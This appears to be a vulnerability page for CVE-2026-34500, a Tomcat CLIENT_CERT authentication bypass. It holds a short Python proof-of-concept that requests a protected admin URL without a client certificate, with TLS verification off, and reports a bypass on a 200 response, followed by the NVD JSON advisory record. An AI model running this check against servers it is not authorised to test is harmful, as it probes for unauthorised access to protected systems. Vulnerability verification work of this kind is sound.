CVE-2026-34500

import requests # Target URL that requires CLIENT_CERT authentication # Replace with the actual vulnerable endpoint target_url = "https://example.com/protected/admin" try: # Send a request without providing a client certificate # In a vulnerable configuration, this might return 200 OK instead of 403 response = requests.get(target_url, verify=False, timeout=10) if response.status_code == 200: print("[+] Vulnerability confirmed! Authentication bypassed.") print("[+] Response body snippet:", response.text[:100]) elif response.status_code == 403 or response.status_code == 401: print("[-] Authentication is enforced properly.") else: print(f"[?] Unexpected status code: {response.status_code}") except Exception as e: print(f"Error connecting to target: {e}")

{"cve": {"id": "CVE-2026-34500", "sourceIdentifier": "[email protected]", "published": "2026-04-09T20:16:25.330", "lastModified": "2026-04-14T12:43:28.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CLIENT_CERT authentication does not fail as expected for some scenarios when soft fail is disabled and FFM is used in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M14 through 11.0.20, from 10.1.22 through 10.1.53, from 9.0.92 through 9.0.116.\n\nUsers are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.92", "versionEndExcluding": "9.0.117", "matchCriteriaId": "0F8E9052-1F8B-4AE4-848E-8A68AF70799D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.1.22", "versionEndExcluding": "10.1.54", "matchCriteriaId": "0F59692A-17FE-42A3-83DF-FD362A4E74C7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.1", "versionEndExcluding": "11.0.21", "matchCriteriaId": "C690419F-47D3-4770-8F15-7EF042E1567F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:11.0.0:milestone14:*:*:*:*:*:*", "matchCriteriaId": "72D3C6F1-84FA-4F82-96C1-9A8DA1C1F30F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:11.0.0:milestone15:*:*:*:*:*:*", "matchCriteriaId": "3521C81B-37D9-48FC-9540-D0D333B9A4A4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:11.0.0:milestone16:*:*:*:*:*:*", "matchCriteriaId": "02A84634-A8F2-4BA9-B9F3-BEF36AEC5480"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:11.0.0:milestone17:*:*:*:*:*:*", "matchCriteriaId": "ECBBC1F1-C86B-40AF-B740-A99F6B27682A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:11.0.0:milestone18:*:*:*:*:*:*", "matchCriteriaId": "9D2206B2-F3FF-43F2-B3E2-3CAAC64C691D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:11.0.0:milestone19:*:*:*:*:*:*", "matchCriteriaId": "0495A538-4102-40D0-A35C-0179CFD52A9D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:11.0.0:milestone20:*:*:*:*:*:*", "matchCriteriaId": "77BA6600-0890-4BA1-B447-EC1746BAB4FD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:11.0.0:milestone21:*:*:*:*:*:*", "matchCriteriaId": "7914D26B-CBD6-4846-9BD3-403708D69319"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:11.0.0:milestone22:*:*:*:*:*:*", "matchCriteriaId": "123C6285-03BE-49FC-B821-8BDB25D02863"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:11.0.0:milestone23:*:*:*:*:*:*", "matchCriteriaId": "8A28C2E2-B7BC-46CE-94E4-AE3EF172AA47"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:11.0.0:milestone24:*:*:*:*:*:*", "matchCriteriaId": "069B0D8E-8223-4C4E-A834-C6235D6C3450"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:11.0.0:milestone25:*:*:*:*:*:*", "matchCriteriaId": "E6282085-5716-4874-B0B0-180ECDEE128F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:11.0.0:milestone26:*:*:*:*:*:*", "matchCriteriaId": "899B6FF0-8701-47E7-8EDA-428A6D48786D"}]}]}], "references": [{"url": "https://lists.apache.org/thread/7rcl4zdxryc8hy3htyfyxkbqpxjtfdl2", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/09/29", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}